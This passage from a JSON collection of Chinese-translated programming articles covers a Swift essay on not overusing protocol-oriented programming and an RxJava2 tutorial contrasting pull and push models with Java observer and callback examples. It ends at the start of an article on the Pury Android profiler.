Chaudhary](https://medium.com/u/f5e268749caa)\n\n我本周在韩国首尔遇见了 David，他在蓝牙上需要一些帮助，我喜欢说...「😨，让我试试」。\n\n#### 即将开课\n\n我目前正在制作一个课程，和 Bob 一起在 Udemy 上教 UIKit 基本原理，这个课程是为中级 Swift 开发者设计的，目前还没有完成。自上个月以来已经有超过 180 个读者给我发邮件，如果你也想加入我们那就给 bobleesj@gmail.com 发邮件吧，直到课程发布前都是免费的。\n\n#### 辅导\n\n如果你正需要帮助来成为一个 iOS 开发者或者创建你喜欢的应用来帮助大家，请联系我活动更多的细节。\n"
  },
  {
    "path": "TODO/protocol-oriented-programming.md",
    "content": "> * 原文地址：[Protocol Oriented Programming is Not a Silver Bullet](http://chris.eidhof.nl/post/protocol-oriented-programming/)\n* 原文作者：[@chriseidhof](http://www.twitter.com/chriseidhof/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Mark](https://github.com/marcmoore)，[Danny Lau](https://github.com/Danny1451)\n\n#面向协议编程，灵丹妙药或是饮鸩止渴？\n\n在 Swift 中，面向协议编程正值流行。许多 Swift  框架都自称是面向协议编程的，一些开源库甚至将其标榜为特点。而我认为，很多时候眼下的问题本可以用一种更简单的方法解决，但是在 Swift 中我们过度使用各种协议了。简言之：不要教条地使用（或避免）协议。\n\nWWDC 2015（苹果电脑全球研发者大会，译者注）中最有影响力的一个分会场就是 [Swift 中的面向协议编程](https://developer.apple.com/videos/play/wwdc2015/408/)。会议表明（当然还有其他内容）你能够用一个面向协议的解决方案替换掉类的层次结构。面向协议的解决方案即一个协议定义和适用于该协议的类型，而类的层次结构即父类和子类的结构。面向协议的解决办法更简单灵活，比如，一个类只能有一个父类，但是一个类型却能适应多种协议。\n\n我们来看看他们在 WWDC 会议上解决的那个问题。一系列的绘图命令都需要被渲染成图像，也要被记录到控制台。通过将绘图命令嵌入协议，任何描述图像的代码都可以用协议的方法来表达。协议扩展使得你能在基础功能上定义新的功能，每一个符合协议的类型都能够自由获取新的功能。\n\n在上面的例子中，协议解决了在多个类型中间共享代码的难题。在 Swift 的标准库中，协议被大量用于集合，并解决了相同的问题。因为 `dropFirst` 是在 `Collection` 类型中定义的，所有的集合类型都能自由获取！同样的，太多集合相关的协议和类型，也会使得查找变得困难。这是协议的一个弊端，但在标准库这个例子中，还是优势更多一些。\n\n现在，让我们从实践中得出真知。有一个网络服务的类，它通过 `URLSession` 从网络中加载实体（实际上，它并不真的加载内容，但是你会感觉是这样）：\n\n```\n    class Webservice {\n        func loadUser() -> User? {\n            let json = self.load(URL(string: \"/users/current\")!)\n            return User(json: json)\n        }\n\n        func loadEpisode() -> Episode? {\n            let json = self.load(URL(string: \"/episodes/latest\")!)\n            return Episode(json: json)\n        }\n\n        private func load(_ url: URL) -> [AnyHashable:Any] {\n            URLSession.shared.dataTask(with: url)\n\n            // 略\n\n            return [:] // 来自服务器的内容\n        }\n    }\n```\n\n以上的代码简短有效，直到我们想要测试 `loadUser` 和 `loadEpisode` 的时候，出现了问题。现在我们或者去掉  `load`，或者用依赖注入的方式传入一个模拟的 `URLSession`。我们也可以定义一个 `URLSession` 适用的协议，然后传入一个测试实例。但就此而言，有更简单的解决方法：我们能将变化的部分从 `Webservice` 中抽离出来，并且写入一个结构类型（我们在 [Swift Talk Episode 1](https://talk.objc.io/episodes/S01E01-networking) 和 [Advanced Swift](https://www.objc.io/books/advanced-swift/) 中对此有详细阐述）：\n\n```\n    struct Resource {\n        let url: URL\n        let parse: ([AnyHashable:Any]) -> A\n    }\n\n    class Webservice {\n        let user = Resource(url: URL(string: \"/users/current\")!, parse: User.init)\n        let episode = Resource(url: URL(string: \"/episodes/latest\")!, parse: Episode.init)\n\n        private func load(resource: Resource) -> A {\n            URLSession.shared.dataTask(with: resource.url)\n\n            // 异步加载，解析 JSON 等等，仅作为实例，我们直接返回一个空的结果\n\n            let json: [AnyHashable:Any] = [:] // 来自服务器的内容\n            return resource.parse(json)\n        }\n    }\n```\n\n现在，我们能够测试 `user` 和 `episode` 而免于虚拟任何内容：他们是简单的结构类型的值。我们还是要测试 `load`，但是只有一个方法（而不是与资源一一对应）。现在，我们来添加一些协议。\n\n为了不用 `parse` 函数，我们可以创建一个使用 JSON 初始化类型的协议。\n\n```\n    protocol FromJSON {\n        init(json: [AnyHashable:Any])\n    }\n\n    struct Resource {\n        let url: URL\n    }\n\n    class Webservice {\n        let user = Resource(url: URL(string: \"/users/current\")!)\n        let episode = Resource(url: URL(string: \"/episodes/latest\")!)\n\n        private func load(resource: Resource) -> A {\n            URLSession.shared.dataTask(with: resource.url)\n\n            // 异步加载，解析 JSON 等等，仅作为实例，我们直接返回一个空的结果\n\n            let json: [AnyHashable:Any] = [:] // should come from the server\n            return A(json: json)\n        }\n    }\n```\n\n上面的代码或许看起来简单多了，但是没那么灵活了。比如，你要如何定义一个包含 `User` 值数组的资源呢？（在上文面向协议的例子中，这还无法实现，我们需要等到 Swift 4 或者 5 直到它才可能实现）协议让事情变得简单了，但是我认为它并不会为此付出代价，因为它极大地减少了我们创建 `Resource` 的方式。\n\n虽然我们无法获取 `user` 和 `episode` 的 `Resource` 的类型值，但是我们能将 `Resource` 创建成拥有 `UserResource` 和 `EpisodeResource` 结构类型的协议。这可能会很流行，因为在面向协议编程中得到一个类型比得到一个值“感觉棒多了”：\n\n```\n    protocol Resource {\n        associatedtype Result\n        var url: URL { get }\n        func parse(json: [AnyHashable:Any]) -> Result\n    }\n\n    struct UserResource: Resource {\n        let url = URL(string: \"/users/current\")!\n        func parse(json: [AnyHashable : Any]) -> User {\n            return User(json: json)\n        }\n    }\n\n    struct EpisodeResource: Resource {\n        let url = URL(string: \"/episodes/latest\")!\n        func parse(json: [AnyHashable : Any]) -> Episode {\n            return Episode(json: json)\n        }\n    }\n\n    class Webservice {\n        private func load(resource: R) -> R.Result {\n            URLSession.shared.dataTask(with: resource.url)\n\n            // 异步加载，解析 JSON 等等，仅作为实例，我们直接返回一个空的结果\n\n            let json: [AnyHashable:Any] = [:]\n            return resource.parse(json: json)\n        }\n    }\n```\n\n但是我们批判性地来看，我们真正得到了什么？代码变得冗长、复杂、间接，而且由于关联类型我们很可能最终要定义一个 `AnyResource`。那么得到一个 `EpisodeResource` 结构比得到一个 `episodeResource` 值有什么益处么？他们都是全局定义，结构类型中命名是以大写字母开头，而值类型的命名是以小写字母开头，除了这，两者无异，而且你可以给它们都定义命名空间 （为了支持自动完成）。因此，得到一个值显然更简单、代码也更短。\n\n网上还有许多的例子，比如我曾看到一个这样的协议：\n\n```\n    protocol URLStringConvertible {\n        var urlString: String { get }\n    }\n\n    // 其中一段代码\n\n    func sendRequest(urlString: URLStringConvertible, method: ...) {\n        let string = urlString.urlString\n    }\n```\n\n这有什么用吗？为什么不移除协议然后直接传入 `urlString` 呢？这明显简单多了。\n\n又或者只有一个方法的协议：\n\n```\n    protocol RequestAdapter {\n        func adapt(_ urlRequest: URLRequest) throws -> URLRequest\n    }\n```\n\n这个观点略有争议：为什么不移除协议，然后再其他地方传入一个函数呢？这明显简单多了！（除非你的协议仅支持类，并且你想得到一个弱引用）。\n\n我可以继续举例论证，但是我希望这个观点已经很明确了，在面向协议编程中，我们通常会有更简单的选择。抽象一点，协议仅仅是实现多态的代码的一种方式，其他很多方式也都可以实现：继承、泛型、值、函数等等。值（比如用 `String` 替代 `URLStringConvertible`）是最简单的方法；函数（比如用 `adapt` 替代 `RequestAdapter`）比值的方式复杂一点，但是仍然很简单；泛型（无约束）也比协议简单。但完整地说，协议通常比类的继承结构要简单。\n\n给你一点启发性的建议，你应该仔细考虑你的协议是塑造数据模型还是行为模型。对数据来说，结构类型可能更简单一点。对复杂的行为来说（比如有多个方法的委托），协议通常会更简单。（标准库中的集合协议有点特殊：它们并不真的描述数据，而是在描述数据处理）\n\n也就是说，尽管协议非常有用，但是不要为了面向协议而使用协议。首先检视你的问题，并且尽可能地尝试用最简单的方法解决。通过问题顺藤摸瓜找到解决办法，不要背道而驰。面向协议编程并没有好坏之分，跟其他的技术（函数编程、面向对象、依赖注入、类的继承）一样，它能解决一些问题，但我们不应盲目，要择其善者而从之。有时候使用协议，但通常还有更简单的方法。\n\n### 更多内容\n\n*   [http://www.thedotpost.com/2016/01/rob-napier-beyond-crusty-real-world-protocols](http://www.thedotpost.com/2016/01/rob-napier-beyond-crusty-real-world-protocols) (视频)\n*   [http://www.gamedev.net/page/resources/_/technical/game-programming/haskell-game-object-design-or-how-functions-can-get-you-apples-r3204](http://www.gamedev.net/page/resources/_/technical/game-programming/haskell-game-object-design-or-how-functions-can-get-you-apples-r3204) (Haskell)"
  },
  {
    "path": "TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md",
    "content": "> * 原文地址：[Pull vs Push & Imperative vs Reactive – Reactive Programming [Android RxJava2]|( What the hell is this ) Part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)\n> * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[XHShirley](https://github.com/XHShirley)\n> * 校对者：[yunshuipiao](https://github.com/yunshuipiao)，[zhaochuanxing](https://github.com/zhaochuanxing)\n\n\n## 拉模式和推模式，命令式和响应式 – 响应式编程 [Android RxJava2]（这到底是什么）：第二部分 ##\n\n太棒了，我们又来到新的一天。这一次，我们要学一些新的东西让今天变得有意思起来。\n\n大家好，希望你们过得不错。这是我们 Rx Java 安卓系列的第二部分。在这篇文章里，我打算解决下一个关于推模式（Push)和拉模式（Pull）或者推模式（Push)与迭代模式，以及命令式和响应式之间的困惑。\n\n**动机：**\n\n动机跟我分享[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)的是一样的。当我看到有 hasNext()，next()方法的迭代模式（Pull），在 Rx 中反过来也一样时，我经常感到疑惑。同样地，关于命令式编程和响应式编程的很多例子也让我困惑。\n\n**修改：**\n\n在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)中，我们讨论了 Rx 最重要，最基本也最核心的概念, 观察者模式。在程序里的任何一个地方，如果我想要知道数据变化，我会使用观察者模式。就像我们在上一篇博客中看到的邮件通知的例子那样。我们需要吃透这个概念。这很重要，如果你理解这个概念，那你就能理解其他操作如Rx中的映射，筛选等都是在数据上的函数调用。\n\n**介绍：**\n\n今天，我将针对拉模式（Pull）和推模式（Push),以及命令式和响应式编程的一些容易困惑的地方做出解答。拉模式（Pull）和推模式（Push）本身跟 Rx 没有关系。基本上，那只是两种技术或者策略之间的对比。多数情况下，我们在代码中使用拉模式（Pull）， 但在Rx中我们可以将其转换为推模式（Push），这能带来很多好处。用同样的方式，命令式和响应式都是编程范式。我们在 Android 而我们将试图写成响应式，而我们将试图写成响应式。首先，我准备解释命令式和响应性的经典例子，这些代码我们经常看到，但是之后我将用这个例子作为一个概念。所以，你可以尝试记住我说的例子。\n\n**命令式方法：**\n\n```\nint val1 = 10;\nint val2 = 20;\nint sum = val1 + val2;\nSystem.out.println(sum); // 30\nval1 = 5;\nSystem.out.println(sum); // 30\n```\n\n在命令式方法里，当我们在 sum 被赋值后使 val1 = 5，sum 变量不会受到影响。Sum 还是 30。\n\n**响应式方法：**\n\n```\nint val1 = 10;\nint val2 = 20;\nint sum = val1 + val2;\nSystem.out.println(sum); // 30\nval1 = 5;\nSystem.out.println(sum); // 25\n```\n\n\n在响应式方法里，当我们在 sum 被赋值后使 val1 = 5，sum 变量会变成 25，好像 sum = val1 + val2 在底层又被调用了一次。\n\n所以我想你们应该能记住命令式和响应式的主要概念了。\n\n现在，我们来复习一个拉模式（Pull）和推模式（Push）的传统例子。\n正如下面的代码里，我有一些数据。\n\n```\nprivate static ArrayList<String > data = new ArrayList<>();\n    data.add(\"A\");\n    data.add(\"B\");\n    data.add(\"C\");\n    data.add(\"D\");\n\n```\n\n现在我准备玩一玩这个数据。我想先在控制台遍历一遍这个数据。\n\n```\nprivate static ArrayList<String > data = new ArrayList<>();\n\npublic static void main(String[] args){\n\n    data.add(\"A\");\n    data.add(\"B\");\n    data.add(\"C\");\n    data.add(\"D\");\n    Iterator<String > iterator = data.iterator();\n    while (iterator.hasNext()){\n        System.out.println(iterator.next());\n    }\n```\n\n```\nOutput:\n```\n\n\nA\n\nB\n\nC\n\nD\n\nProcess finished with exit code 0\n\n\n基本上，那就是拉模式（Pull）方法。现在，我分享一下我因为缺少了解而产生的困惑。解释一下拉模式是怎样的，想象一下，遍历数据之后，我添加两个新的数据对象，但我不打算再一次遍历我的数据。这代表着，在我的程序里，我将永远不知道有新的数据（被添加进来），正如下面代码所示。\n\n```\nprivate static ArrayList<String > data = new ArrayList<>();\n\npublic static void main(String[] args){\n    data.add(\"A\");\n    data.add(\"B\");\n    data.add(\"C\");\n    data.add(\"D\");\n    Iterator<String > iterator = data.iterator();\n    while (iterator.hasNext()){\n        System.out.println(iterator.next());\n    }\n  \tdata.add(\"E\");\n   data.add(\"F\");\n}\nOutput:\n```\n\n---\n\nA\n\nB\n\nC\n\nD\n\nProcess finished with exit code 0\n\n---\n\n所以，拉模式（Pull）简单地来说，作为一个开发者，检查到数据是否被改变并根据改动做下一步的决定，是我的职责所在。如上所示，我想稍后重新遍历数据来看看是否有数据改变。这也是一种命令式的方法。\n\n现在我将使用拉（Pull）方法重新实现我们本来的需求，但在那之前，我要写一些帮助方法在下面。所以，如果我在主程序中调用了这些方法，请不要感到困惑。\n\n```\nprivate static void currentDateTime() {\n    System.out.println(new Date(System.currentTimeMillis()).toString());\n}\n```\n\n上面的方法只是用于在控制台中显示当前的日期和时间。\n\n```\nprivate static void iterateOnData(List data) {\n    Iterator iterator = data.iterator();\n    while (iterator.hasNext()) {\n        System.out.println(iterator.next());\n    }\n}\n```\n\nAbove method only printout a whole list on console.\n\n上面的方法只是用于在控制台中打印出一整个列表。\n\n```\nprivate static final TimerTask dataTimerTask = new TimerTask() {\n    private int **lastCount** = 0;\n\n    @Override\n    public void run() {\n        currentDateTime();\n        if (**lastCount != data.size()**) {\n            iterateOnData(data);\n            **lastCount = data.size();**\n        } else {\n            System.out.println(\"No change in data\");\n        }\n    }\n};\n```\n\n上面的方法挺重要的。作为一个开发者，我用轮询来实现拉（Pull）方法。所以我现在做的是什么呢？这个方法会在每 1 秒或每 1000 毫秒调用一次。在第一次运行的时候，我会检查数据中是否有任何改变。如果有，则将数据在控制台显示出来，如果没有，则显示没有改变。\n\n是时候来检查我们的主方法了。\n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    currentDateTime();\n    data.add(\"A\");\n    data.add(\"B\");\n    data.add(\"C\");\n    data.add(\"D\");\n\n    Timer timer = new Timer();\n    timer.schedule(dataTimerTask, 0, 1000);\n\n    Thread.sleep(4000);\n    currentDateTime();\n    data.add(\"E\");\n    data.add(\"F\");\n}\n```\n\nOutput:\n\n---\n\nSat Feb 11 10:17:**09** MYT 2017\n\nSat Feb 11 10:17:**09** MYT 2017\n\nA\n\nB\n\nC\n\nD\n\nSat Feb 11 10:17:**10** MYT 2017\n\nNo change in data\n\nSat Feb 11 10:17:**11** MYT 2017\n\nNo change in data\n\nSat Feb 11 10:17:**12** MYT 2017\n\nNo change in data\n\nSat Feb 11 10:17:**13** MYT 2017\n\nSat Feb 11 10:17:**13** MYT 2017\n\nA\n\nB\n\nC\n\nD\n\nE\n\nF\n\nSat Feb 11 10:17:**14** MYT 2017\n\nNo change in data\n\nSat Feb 11 10:17:**15** MYT 2017\n\nNo change in data\n\n---\n\n\n这就是这段代码产生的效果。我准备一起解释一下输出和代码。当 app 跑起来的时候，轮询会让我在控制台得到时间和数据，因为轮询方法会马上执行第一次，然后每隔 1 秒执行一次。所以当它立刻运行的时候，我可以看到我的数据从 A 到 D。之后，我在主方法里让主线程休眠 4 秒，但你依然可以看到我们的输出，因为我使用了轮询。每1秒过后，我都可以看到“no change in data”的输出。4 秒后我们的主线程将重新开始工作。现在我将两个新数据对象添加进去，1 秒后，当轮询方法调用后，我可以在屏幕上看到新的输出，从 A 到 F。这也是命令式的方法。\n\n这里是所有的代码，你可以在你自己的 IDE 中跑一遍。\n\n\n\n```\nimport java.util.*;\n\n/**\n * Created by waleed on 11/02/2017.\n */\npublic class EntryPoint {\n\n    private static ArrayList<String> data = new ArrayList<>();\n\n    public static void main(String[] args) throws InterruptedException {\n\n        currentDateTime();\n        data.add(\"A\");\n        data.add(\"B\");\n        data.add(\"C\");\n        data.add(\"D\");\n\n        Timer timer = new Timer();\n        timer.schedule(dataTimerTask, 0, 1000);\n\n        Thread.sleep(4000);\n        currentDateTime();\n        data.add(\"E\");\n        data.add(\"F\");\n\n    }\n\n    private static final TimerTask dataTimerTask = new TimerTask() {\n        private int lastCount = 0;\n\n        @Override\n        public void run() {\n            currentDateTime();\n            if (lastCount != data.size()) {\n                iterateOnData(data);\n                lastCount = data.size();\n            } else {\n                System.out.println(\"No change in data\");\n            }\n        }\n    };\n\n    private static void iterateOnData(List data) {\n        Iterator iterator = data.iterator();\n        while (iterator.hasNext()) {\n            System.out.println(iterator.next());\n        }\n    }\n\n    private static void currentDateTime() {\n        System.out.println(new Date(System.currentTimeMillis()).toString());\n    }\n}\n\n```\n\n我感觉现在对于什么是拉(Pull)模式，已经少了很多困惑。这种方法最大的问题在于，开发者需要写很多程序来管理所有的事情。所以对于管理这样的需求，如果不用轮询或拉(Pull)模式，我可以怎么做呢？我们可以利用观察者模式，正如我们在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)所做的。但那是一堆样板文件代码，开发者需要写很多次。我们可以利用 Rx 的库获得便利，这样我们就不需要写一大堆观察者模式的样板代码，但是现在我们还不准备开始用 Rx。首先我们抛开 Rx 理解另外一些概念。那么现在我将把我的代码转换成 推（Push）模式，而不是用 Rx。这样，拉(Pull)和推（Push）分别是什么就非常清晰了。\n\n在开始前，我们先简单地来讨论一下拉（Pull）和推（Push）的不同之处。拉（Pull）意味着，作为一个开发者，我对所有事情负责。正如我想知道数据是否有任何变化，我想去询问：“嘿，有什么新的变动吗？”。这是很难维护的，因为程序里多个线程启动，如果开发者有一点偷懒，就会造成内存泄漏。\n\n在推（Push）中，开发者只需要写简单的代码，并且给予数据一定的顺序：“如果（数据）有任何变动，你就通知我吧。”这个就是推（Push）方法。我准备用同样的例子来解释这个方法。首先我将使用观察者模式来达到这个目的，之后我会向你展示使用回调（Callback）的方式。\n\n**使用观察者模式:**\n\n```\nprivate interface Observable {\n    void subscribe(Observer observer);\n    void unSubscribe(Observer observer);\n    void notifyToEveryOne();\n}\n\nprivate interface Observer {\n    void heyDataIsChanged(List data);\n}\n```\n\n\n这些事帮助我们实现观察者模式的接口。如果你想了解更多，可以参考[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)。\n\n如下所示，我创建了一个类来管理数据。\n\n```\nprivate static class Data implements Observable {\n\n    private List<Observer> observers = new ArrayList<>();\n\n    @Override\n    public void subscribe(Observer observer) {\n        observers.add(observer);\n    }\n\n    @Override\n    public void unSubscribe(Observer observer) {\n        observers.remove(observer);\n    }\n\n    @Override\n    public void notifyToEveryOne() {\n        for (Observer observer : observers) {\n            observer.heyDataIsChanged(data);\n        }\n    }\n\nprivate ArrayList<String> data = new ArrayList<>();\n\n    public Data() {\n        data.add(\"A\");\n        data.add(\"B\");\n        data.add(\"C\");\n        data.add(\"D\");\n        iterateOnData(data);\n    }\n\n    void add(String object) {\n        data.add(object);\n        notifyToEveryOne();\n    }\n}\n```\n\n代码前半部分，使用了观察者模式的模版。后半部分，代码与数据相关。用数据 （A 到 D）初始化一个数据组打印到控制台。之后往数组里添加数据，就会收到数据变化的通知。 接下来看一下 main 方法。\n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    currentDateTime();\n    Data data = new Data();\n    data.subscribe(observer);\n\n    Thread.sleep(4000);\n    currentDateTime();\n    data.add(\"E\");\n    currentDateTime();\n    data.add(\"F\");\n\n    data.unSubscribe(observer);\n}\n```\n\nOutput:\n\n---\n\nSat Feb 11 10:52:**30** MYT 2017\n\nA\n\nB\n\nC\n\nD\n\nSat Feb 11 10:52:**34** MYT 2017\n\nA\n\nB\n\nC\n\nD\n\nE\n\nSat Feb 11 10:52:**34** MYT 2017\n\nA\n\nB\n\nC\n\nD\n\nE\n\nF\n\nProcess finished with exit code 0\n\n---\n\n这就是这段代码产生的效果。我准备一起解释一下输出和代码。当 app 跑起来，我创建了一个数据类的对象。我也为数据类增加了一个订阅者。如果数据有更新，它就会通知我。作为一个开发者，我把这个责任交给了观察着。于是我现在自由了，我不再管理所有事情。任何改动，观察者都会告诉我并且我可以立刻采取行动。这对我们非常方便。作为一个开发者，我也会想偷懒的时候，我希望我的代码能发挥最大的效用，这也是我在这里正在做的 :)。在控制台，当代码跑起来，我可以看到数据从 A 到 D 的输出。我的线程休眠 4 秒后，当主线程重新开始工作，它首先添加了一个新数据，所以我的观察者通知我了：“嘿，这里有变动”。之后再一次的数据变动，观察者又通知了我一次。这真是太棒了。你可以说这是响应式的代码，因为只要数据发生改变，响应就会发生。\n\n\n```\nimport java.util.*;\n\n/**\n * Created by waleed on 11/02/2017.\n */\npublic class EntryPoint {\n\n    public static void main(String[] args) throws InterruptedException {\n\n        currentDateTime();\n        Data data = new Data();\n        data.subscribe(observer);\n\n        Thread.sleep(4000);\n        currentDateTime();\n        data.add(\"E\");\n        currentDateTime();\n        data.add(\"F\");\n\n        data.unSubscribe(observer);\n    }\n\n    private interface Observable {\n        void subscribe(Observer observer);\n        void unSubscribe(Observer observer);\n        void notifyToEveryOne();\n    }\n\n    private interface Observer {\n        void heyDataIsChanged(List data);\n    }\n\n    private static class Data implements Observable {\n\n        private List<Observer> observers = new ArrayList<>();\n\n        @Override\n        public void subscribe(Observer observer) {\n            observers.add(observer);\n        }\n\n        @Override\n        public void unSubscribe(Observer observer) {\n            observers.remove(observer);\n        }\n\n        @Override\n        public void notifyToEveryOne() {\n            for (Observer observer : observers) {\n                observer.heyDataIsChanged(data);\n            }\n        }\n\n        private ArrayList<String> data = new ArrayList<>();\n\n        public Data() {\n            data.add(\"A\");\n            data.add(\"B\");\n            data.add(\"C\");\n            data.add(\"D\");\n            iterateOnData(data);\n        }\n\n        void add(String object) {\n            data.add(object);\n            notifyToEveryOne();\n        }\n\n    }\n\n    private static Observer observer = new Observer() {\n        @Override\n        public void heyDataIsChanged(List data) {\n            iterateOnData(data);\n        }\n    };\n\n    private static void iterateOnData(List data) {\n        Iterator iterator = data.iterator();\n        while (iterator.hasNext()) {\n            System.out.println(iterator.next());\n        }\n    }\n\n    private static void currentDateTime() {\n        System.out.println(new Date(System.currentTimeMillis()).toString());\n    }\n}\n```\n\n这就是推（Push）方法。你很容易就看到数据变动，观察者会通知你。我并没有写任何代码去获取新的改变。我说的是，当你（数据）变了，把改变推送给我。但在我上一个拉（Pull）方法（的代码）里，我总是去询问数据：数据是否有任何变动？数据是否有任何变动？我想拉（Pull）和推（Push）已经清晰了。但是，我准备用回调实现一样的事情。大多数情况下，当我们想从服务器获取数据，会在 API 里使用这种方式。所以我想用回调来实现推（Push）的概念。\n\n**使用回调的方式:**\n\n在回调的方式里，我只创建了一个名叫 Callback 的接口。如果数据类里有任何变动，它会通知我。\n\n```\nprivate interface Callback {\n    void dataChanged(List data);\n}\n```\n\n真的很简单。现在来看看我们的 Data 类。\n\n```\nprivate static class Data {\n\n    private interface Callback {\n        void dataChanged(List data);\n    }\n\n    private ArrayList<String> data = new ArrayList<>();\n    private Callback callback;\n\n    public Data(Callback callback) {\n        this.callback = callback;\n        data.add(\"A\");\n        data.add(\"B\");\n        data.add(\"C\");\n        data.add(\"D\");\n        iterateOnData(data);\n    }\n\n    void add(String object) {\n        data.add(object);\n        callback.dataChanged(data);\n    }\n}\n```\n\n\n你可以从上面的代码看到，我们是怎样使用回调接口的。让我们来看看主要方法的代码。\n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    currentDateTime();\n    Data data = new Data(callback);\n\n    Thread.sleep(4000);\n    currentDateTime();\n    data.add(\"E\");\n    currentDateTime();\n    data.add(\"F\");\n}\n```\n\n```\nprivate static Data.Callback callback = new Data.Callback() {\n    @Override\n    public void dataChanged(List data) {\n        iterateOnData(data);\n    }\n};\n```\n\n```\nOutput:\n```\n\n---\n\nSat Feb 11 11:15:06 MYT 2017\n\nA\n\nB\n\nC\n\nD\n\nSat Feb 11 11:15:10 MYT 2017\n\nA\n\nB\n\nC\n\nD\n\nE\n\nSat Feb 11 11:15:10 MYT 2017\n\nA\n\nB\n\nC\n\nD\n\nE\n\nF\n\nProcess finished with exit code 0\n\n---\n\n我得到的是跟观察者模式一样的输出。这意味着我可以使用不同的实现方式来应用推（Push）模式。你可以用下面的代码在你们的 IDE 上实践一下。\n\n```\nimport java.util.*;\n\n/**\n * Created by waleed on 11/02/2017.\n */\npublic class EntryPoint {\n\n    public static void main(String[] args) throws InterruptedException {\n\n        currentDateTime();\n        Data data = new Data(callback);\n\n        Thread.sleep(4000);\n        currentDateTime();\n        data.add(\"E\");\n        currentDateTime();\n        data.add(\"F\");\n\n    }\n\n    private static class Data {\n\n        private interface Callback {\n            void dataChanged(List data);\n        }\n\n        private ArrayList<String> data = new ArrayList<>();\n        private Callback callback;\n\n        public Data(Callback callback) {\n            this.callback = callback;\n            data.add(\"A\");\n            data.add(\"B\");\n            data.add(\"C\");\n            data.add(\"D\");\n            iterateOnData(data);\n        }\n\n        void add(String object) {\n            data.add(object);\n            callback.dataChanged(data);\n        }\n\n    }\n\n    private static Data.Callback callback = new Data.Callback() {\n        @Override\n        public void dataChanged(List data) {\n            iterateOnData(data);\n        }\n    };\n\n    private static void iterateOnData(List data) {\n        Iterator iterator = data.iterator();\n        while (iterator.hasNext()) {\n            System.out.println(iterator.next());\n        }\n    }\n\n    private static void currentDateTime() {\n        System.out.println(new Date(System.currentTimeMillis()).toString());\n    }\n}\n```\n\n观察者模式和回调方法有一个区别。在观察者模式中，每个订阅了的人都会通知，而回调方法中，只有一个最后订阅的回调会被通知。在软件开发过程中，我们多用 API 的回调接口来获取结果或者数据。这就是为什么叫做推（Push)模式，因为会把数据变化的状态推送给你。你不负责检查数据的变化。\n\n\n这里给你一个小贴士，有时我看到人们做得非常复杂。比如，我在我的应用中，有一个 User 对象。当我登录时，我会拿到一个 User 对象。大多数人使用回调，但是他们想在多个类或屏幕中使用那个 User 对象。他们怎么做呢？他们把数据从回调中取出来，扔给 EventBus、广播接收者或者直接保存成静态对象。这是对回调的误用。如果你想同时在其它类或者屏幕中使用从 API 中获取的数据，如果你不用 Rx，那就一定要用观察者模式 :)。你的代码会变得简单和稳定。\n\n**结论:**\n\n现在你们知道了 Rx 的核心概念其实就是观察者模式。在我们讨论了两种策略，观察者模式和回调来达到推（Push）模式之后，我们接下来会讨论拉（Pull）模式和推（Push）模式以及命令式和响应式的困惑。是时候使用 Rx 来达到同样的效果了。我们已经知道我们利用 Rx 来避免样板代码，利用 Rx 的优势有多简单了。我想今天就差不多了。试着自己写代码练习一下。这会帮助你理解这些概念。从下一篇开始，我们很可能开始学习 Lambda 表达式以及函数式编程。这些是非常重要的东西，会让 Rx 的学习曲线变简单。\n\n谢谢你们的阅读。祝你们有个愉快的周末，再见 :)。\n"
  },
  {
    "path": "TODO/pury-new-way-to-profile-your-android-application.md",
    "content": "> * 原文地址：[Pury — 一个新的 Android App 性能分析工具](https://medium.com/@nikita.kozlov/pury-new-way-to-profile-your-android-application-7e248b5f615e)\n* 原文作者：[Nikita Kozlov](https://medium.com/@nikita.kozlov)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[欧文](https://github.com/owenlyn)\n* 校对者：[Graning](https://github.com/Graning), [lizwangying](https://github.com/lizwangying)\n\n# Pury — 一个新的 Android App 性能分析工具\n\n手机应用存在的目的，就是在帮助用户做他们想做的事情的同时，提供最好的用户体验 —— 而用户体验的重中之重是应用的性能。但有时候开发者们却以性能为借口，既没有达到既定目标，又写着低质量并难以维护的代码。在这里我想引用 Michael A. Jackson 的一句话：\n\n> “程序优化守则第一条：别去做它。程序优化守则第二条（仅限于专业人员）：别去做它，现在还不是时候。”\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*YVKsfvtGMavBcYOo_tTHbA.jpeg)\n\n\n在开始任何优化之前，我们要先认清问题的症结所在。\n第一步，我们先收集和App性能表现的常规数据。比如，从调用 _startActivity()_ 到数据显示在屏幕上的时间。又比如，加载下一页 _RecyclerView_ 的内容所需要的时间。我们把这个时间和一个可以接受的阀值进行比较就可以发现有没有什么问题需要改进了。当应用程序使用的时间比预计的要长的时候，我们就需要深入的查看并找出是哪些方法（函数）或者API（应用程序接口）出了问题。\n\n幸运的是，我们有一些工具来分析安卓应用程序（的性能）：\n\n1. [Hugo[1]](https://github.com/JakeWharton/hugo) 是一个库，它提供注解驱动的方法调用日志。你只需要在你的方法上用 _@DebugLog_ 注解，然后它就会记录参数，返回值以及运行所需的时间。我很喜欢这个库，但是这个库仅仅适用于单个方法的调用，所以并不能用来测量从调用 _startActivity()_ 到数据显示在屏幕上的时间。\n2. Android Studio 工具包，比如 System Trace，就是一个非常精确且提供很多信息的工具。但你需要花很多时间来收集、分析数据。\n3. 后端解决方案，比如 [JMeter[2]](https://jmeter.apache.org/)。这些工具有很多功能，但需要很多时间来学习怎么使用它们。不过话说回来，你经常需要在大量并发负载下分析一个应用程序吗？这看起来并不像一个常见的情况。\n\n#### 